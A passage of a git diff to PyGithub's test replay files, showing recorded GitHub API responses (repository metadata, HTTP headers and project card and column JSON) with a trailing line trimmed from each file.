b/pulls{/number}","milestones_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-01-08T09:41:41Z","pushed_at":"2021-01-07T18:49:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13251,"stargazers_count":4000,"watchers_count":4000,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1245,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":82,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"http://my.enterprise.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1245,"open_issues":82,"watchers":4000,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1245,"subscribers_count":105} - diff --git a/tests/ReplayData/Project.setUp.txt b/tests/ReplayData/Project.setUp.txt index a5b634c937..568410e302 100644 --- a/tests/ReplayData/Project.setUp.txt +++ b/tests/ReplayData/Project.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"1a4d58b0c31a5e69747b7ad48d7a91ee"'), ('Last-Modified', 'Wed, 01 Aug 2018 05:11:35 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.077165'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED5B:528C:C8555:10426C:5B71EE27')] {"id":143089995,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwODk5OTU=","name":"PyGithub","full_name":"bbi-yggy/PyGithub","owner":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bbi-yggy/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/bbi-yggy/PyGithub","forks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/forks","keys_url":"https://api.github.com/repos/bbi-yggy/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bbi-yggy/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bbi-yggy/PyGithub/teams","hooks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/events","assignees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/bbi-yggy/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/tags","blobs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/bbi-yggy/PyGithub/languages","stargazers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscription","commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/bbi-yggy/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bbi-yggy/PyGithub/merges","archive_url":"https://api.github.com/repos/bbi-yggy/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bbi-yggy/PyGithub/downloads","issues_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/bbi-yggy/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/bbi-yggy/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/bbi-yggy/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/deployments","created_at":"2018-08-01T01:50:10Z","updated_at":"2018-08-01T05:11:35Z","pushed_at":"2018-08-13T19:19:24Z","git_url":"git://github.com/bbi-yggy/PyGithub.git","ssh_url":"git@github.com:bbi-yggy/PyGithub.git","clone_url":"https://github.com/bbi-yggy/PyGithub.git","svn_url":"https://github.com/bbi-yggy/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11292,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"network_count":691,"subscribers_count":0} - diff --git a/tests/ReplayData/Project.testCreateCardFromIssue.txt b/tests/ReplayData/Project.testCreateCardFromIssue.txt index 3cba26dd17..345d8e62ec 100644 --- a/tests/ReplayData/Project.testCreateCardFromIssue.txt +++ b/tests/ReplayData/Project.testCreateCardFromIssue.txt @@ -41,4 +41,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:12:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1345'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4936'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"edaf50abebabc9e604f55c3694feb344"'), ('Location', 'https://api.github.com/projects/columns/cards/16039106'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E388:0E37:55EEBEF:C01B83F:5C23FCB1')] {"url":"https://api.github.com/projects/columns/cards/16039106","project_url":"https://api.github.com/projects/2032101","id":16039106,"node_id":"MDExOlByb2plY3RDYXJkMTYwMzkxMDY=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-26T22:12:02Z","updated_at":"2018-12-26T22:12:02Z","column_url":"https://api.github.com/projects/columns/4046368","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1"} - diff --git a/tests/ReplayData/Project.testCreateCardWithNote.txt b/tests/ReplayData/Project.testCreateCardWithNote.txt index 86e65d9561..5093342062 100644 --- a/tests/ReplayData/Project.testCreateCardWithNote.txt +++ b/tests/ReplayData/Project.testCreateCardWithNote.txt @@ -30,4 +30,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:03:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1282'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4952'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"55a34a8b219c2f04a42af8617ac8884f"'), ('Location', 'https://api.github.com/projects/columns/cards/16039019'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '91C6:0E38:673BB20:E4BABD4:5C23FAC4')] {"url":"https://api.github.com/projects/columns/cards/16039019","project_url":"https://api.github.com/projects/2032093","id":16039019,"node_id":"MDExOlByb2plY3RDYXJkMTYwMzkwMTk=","note":"Project Card","archived":false,"creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-26T22:03:48Z","updated_at":"2018-12-26T22:03:48Z","column_url":"https://api.github.com/projects/columns/4046355"} - diff --git a/tests/ReplayData/Project.testCreateColumn.txt b/tests/ReplayData/Project.testCreateColumn.txt index 75b67d8b8a..b805eb612f 100644 --- a/tests/ReplayData/Project.testCreateColumn.txt +++ b/tests/ReplayData/Project.testCreateColumn.txt @@ -19,4 +19,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Sun, 16 Dec 2018 22:02:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '355'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1544999455'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"e665df9df30f8cacff8d513a747defae"'), ('Location', 'https://api.github.com/projects/columns/3999333'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'A49A:0E36:145887E:33DDBB8:5C16CB90')] {"url":"https://api.github.com/projects/columns/3999333","project_url":"https://api.github.com/projects/2013874","cards_url":"https://api.github.com/projects/columns/3999333/cards","id":3999333,"node_id":"MDEzOlByb2plY3RDb2x1bW4zOTk5MzMz","name":"Project Column created by PyGithub","created_at":"2018-12-16T22:02:57Z","updated_at":"2018-12-16T22:02:57Z"} - diff --git a/tests/ReplayData/Project.testEditCardArchived.txt b/tests/ReplayData/Project.testEditCardArchived.txt index 5f520b4123..8c4c0a76b5 100644 --- a/tests/ReplayData/Project.testEditCardArchived.txt +++ b/tests/ReplayData/Project.testEditCardArchived.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4933'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9f746e487a12026e026bf66c1406e5be"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0B3:662E:9CE60:14A7DF:5E62857F')] {"url":"https://api.github.com/projects/columns/cards/34203320","project_url":"https://api.github.com/projects/4015343","id":34203320,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMjA=","note":"Project Card","archived":true,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:47Z","updated_at":"2020-03-06T17:16:47Z","column_url":"https://api.github.com/projects/columns/8125057"} - diff --git a/tests/ReplayData/Project.testEditCardNote.txt b/tests/ReplayData/Project.testEditCardNote.txt index 718cf8d5ae..3fe8d29653 100644 --- a/tests/ReplayData/Project.testEditCardNote.txt +++ b/tests/ReplayData/Project.testEditCardNote.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ddb2330f5528743a1526588a4d12bf7a"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), 